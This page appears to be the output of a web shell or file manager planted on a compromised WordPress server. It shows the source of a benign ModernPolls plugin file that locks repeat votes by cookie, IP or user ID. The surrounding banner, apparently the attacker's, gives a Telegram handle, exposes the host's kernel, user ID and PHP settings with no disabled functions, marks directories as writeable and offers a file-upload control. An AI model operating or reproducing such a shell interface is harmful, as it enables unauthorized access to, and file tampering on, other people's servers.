https://t.me/RX1948
Server : Apache
System : Linux s1230 5.15.0-139-generic #149~20.04.1 SMP Tue Jul 14 11:21:49 UTC 2026 x86_64
User : p141464 ( 418825)
PHP Version : 7.4.33.12
Disable Function : NONE
Directory :  /html/KMU-CSR-PLANER/wp-content/plugins/modern-polls/app/Controllers/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //html/KMU-CSR-PLANER/wp-content/plugins/modern-polls/app/Controllers/LockController.php
<?php
/********************************************************************
 * @plugin     ModernPolls
 * @file       app/Controllers/LockController.php
 * @date       11.02.2021
 * @author     Felix Tzschucke <f.tzschucke@gmail.com>
 * @copyright  2018 - 2021 Felix Tzschucke
 * @license    GPL2
 * @version    1.0.10
 * @link       https://felixtz.de/
 ********************************************************************/

namespace FelixTzWPModernPolls\Controllers;

use FelixTzWPModernPolls\Models\Locklist;


class LockController
{
    public $locklist;
    public $settingsController;

    public function __construct()
    {
        $this->locklist = new Locklist();
        $this->settingsController = new SettingsController();
    }

    public function hasVoted($id)
    {
        $settings = $this->settingsController->getAll();
        $settings = $settings[0];

        $ip = $settings->log_ip;
        $cookie = $settings->log_cookie;
        $user = $settings->log_user;

        if ($ip == 0 && $cookie == 0 && $user == 0) return false;

        if ($cookie && $this->checkCookie($id)) {
            return true;
        }

        if ($ip && $this->checkIP($id)) {
            return true;
        }

        if ($user && $this->checkUser($id)) {
            return true;
        }

        return false;
     }

    public function add($id, $answer, $ip, $host, $timestamp, $user, $userid)
    {
        return $this->locklist->add($id, $answer, $ip, $host, $timestamp, $user, $userid);
    }


    public function checkCookie($id)
    {
        if (!empty($_COOKIE['mpp_' . $id])) {
            return true;
        }
        return false;
    }

    public function checkIP($id)
    {
        return $this->locklist->checkIP($id);
    }

    public function checkUser($id)
    {
        global $user_ID;

        // Check IP If User Is Guest
        if (!is_user_logged_in()) {
            return false;
        }


        $userID = (int)$user_ID;

        return $this->locklist->checkUser($id, $userID);
    }

}

https://t.me/RX1948 - 2025